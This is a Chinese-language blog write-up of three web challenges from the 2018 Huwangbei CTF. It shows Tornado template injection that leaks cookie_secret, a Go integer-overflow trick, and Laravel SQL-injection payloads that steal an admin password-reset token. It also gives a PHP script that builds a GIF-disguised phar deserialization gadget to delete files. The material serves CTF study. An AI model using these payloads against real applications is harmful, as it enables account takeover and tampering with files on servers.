sky's blog

2018 护网杯 web writeup

字数统计: 1,315阅读时长: 6 min
2018/10/13 Share
1
文章首发于安全客 https://www.anquanke.com/post/id/161849

前记

护网杯刚结束,记录一下做出的3道web(1道赛后解出),很遗憾有一道java没能解出。

easy tornado

进入题目

1
http://49.4.78.81:30980/

发现有3个选项

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
http://49.4.78.81:30980/file?filename=Orz.txt&signature=9e3bb6483951e58b6095f949d572dd9a


Orz.txt
render()

http://49.4.78.81:30980/file?filename=hint.txt&signature=74dfcb55b94ddbe4daedd3f21a68a2f1


hint.txt
md5(cookie_secret + md5(filename))

http://49.4.78.81:30980/file?filename=flag.txt&signature=6a86c265598a92ae8bff5c9f7b9f2a72


flag.txt
/fllllllllllag

发现意思很明确,有签名,读文件
那么现在要做的就是leak cookie_secret
发现

1
http://49.4.78.81:30980/error?msg={{1^0}}

可以进行模板注入,但过滤了非常多的符号,应该只能读个变量
阅读tornado源码

1
https://github.com/tornadoweb/tornado/blob/master/tornado/auth.py

发现handler.settings存放了cookie_secret
读取

1
http://49.4.78.81:30980/error?msg={{handler.settings}}

得到

1
2
Whoops, looks like somethings went wrong . 
{'login_url': '/login', 'template_path': 'templates', 'xsrf_cookies': True, 'cookie_secret': '0tG+hY[4ekR($v72OzJa)M9d!jV8sF.n1>{Zo#*pPIm_<W%L3-T~AuQlBbqr6}ig', 'debug': False, 'file_path': '/www/static/files', 'static_path': 'static'}

随机构造签名读flag

1
http://49.4.78.81:30980/file?filename=/fllllllllllag&signature=7bae09c2c6e2f6aa34df7dbee23db960

得到

1
2
/fllllllllllag 
flag{67a3d3dec827645c1c92d1f2160c744f}

ltshop

本能的条件竞争,换大辣条,50个线程,跑完发现自己有7个大辣条了,看来竞争略有成效
下面是辣条之王的艺术,考虑到是go语言,uint64可能存在溢出

1
http://www.it1352.com/808569.html

于是思考到,这里我们的兑换量应该*5,于是简单计算了一下

然后我们这里兑换3689348814741910324即可溢出

easy_web

赛后问了下,得知了题解,如下




easy_laravel

源码发现

这是本次的重量级题目:首先在f12源代码里发现

1
<!-- code: https://github.com/qqqqqqvq/easy_laravel -->

sql注入

于是下载源码,看一下控制器,不难发现有注入点

1
easy_laravel/app/Http/Controllers/NoteController.php


于是尝试

1
admin' or 1#


发现可以读到note,于是尝试union select
然后遇到了第一个坑点,我们在代码里可以看到

于是我认为应该只有4列,然后一直就是wrong,wrong,wrong
很头疼的尝试了order by,发现是5列
注册:admin' order by 5#

注册:admin' order by 6#

然后尝试union select

根据给出的表,我再信他一回:)

1
admin' union select 1,(select password from users limit 0,1),3,4,5#



到这里为止,发现密码无法破解
那么如何登入管理员呢?

密码重置

这里还有一个表

我们发现还能重置密码,而且只需要email和token!
那我们去拿管理员的token

1
admin' union select 1,(select token from password_resets limit 1,1),3,4,5#


然后去重置管理员密码即可

然后使用路径

1
http://49.4.78.81:31250/password/reset/1c9d0f377a75dd48abaa90dd7fa4eb35653da39561d6f9c33bdb14a8a0849616


然后改密码即可登入管理员
到此为止,我们离flag又近了一步

登入后台


发现有4个功能:upload,files,flag,note
这里flag点进去发现是no flag
加上题目的提示:

可以发现是blade过期的问题,这里简单搜索

1
https://www.jianshu.com/p/7d65f9eb94be

发现Blade 是 laravel 提供的一个简单强大的模板引擎。它不像其他流行的 PHP 模板引擎那样限制你在视图中使用原生的 PHP 代码,事实上它就是把 Blade 视图编译成原生的 PHP 代码并缓存起来。缓存会在 Blade 视图改变时而改变,这意味着 Blade 并没有给你的应用添加编译的负担。
所以我们这的思路很清晰:
1.因为旧的缓存存在,导致我们看不到flag
2.我们可以利用pop chain删掉缓存文件
3.读到flag
那么缓存文件在哪里呢?我们查看源码发现

那cachepath又是哪里呢?想到最开始的提示

1
nginx是坠吼的 ( 好麻烦,默认配置也是坠吼的

那么很容易得知web目录

1
/usr/share/nginx/html

然后再去发掘blade缓存位置

1
https://www.jianshu.com/p/018c83d6b38c

发现是

1
/storage/framework/views

再结合sha1,得到最后的路径

1
/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php

反序列化删除发掘

那么去哪里找删除函数呢?
这里发现composer.json中提供了大量组件,我们安装一下,然后全局搜索,容易发现有unlink()

phar神来之笔

那最后怎么触发序列化呢?这里用到了我们BlackHat会议演讲的phar://方法
参考这篇文章

1
https://xz.aliyun.com/t/2715

我们发现在check这里

是会使用file_exists的,并且path和filename可控!
于是我们尝试构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include('autoload.php');
$a = serialize(new Swift_ByteStream_TemporaryFileByteStream());
var_dump(unserialize($a));
var_dump($a);
$a = preg_replace('/\/private\/var\/folders\/dm\/r80s8lp52bz1rcdhp5h9zlrw0000gn\/T\/FileByteStream[\w]{6}/', "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php", $a);
$a = str_replace('s:77', 's:90', $a);
$b = unserialize($a);
$p = new Phar('./skyfuck.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($b);
$p->addFromString('test.txt','text');
$p->stopBuffering();
rename('skyfuck.phar', 'skyfuck.gif')
?>

然后上传后触发

最后即可看到flag

后记

这次护网杯的题目还是很nice的,感谢4uuu Nya大佬的nice题目,和赛后帮助我理解Laravel的bendawang师傅,给跪了~

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前记
  2. 2. easy tornado
  3. 3. ltshop
  4. 4. easy_web
  5. 5. easy_laravel
    1. 5.1. 源码发现
    2. 5.2. sql注入
    3. 5.3. 密码重置
    4. 5.4. 登入后台
    5. 5.5. 反序列化删除发掘
    6. 5.6. phar神来之笔
  6. 6. 后记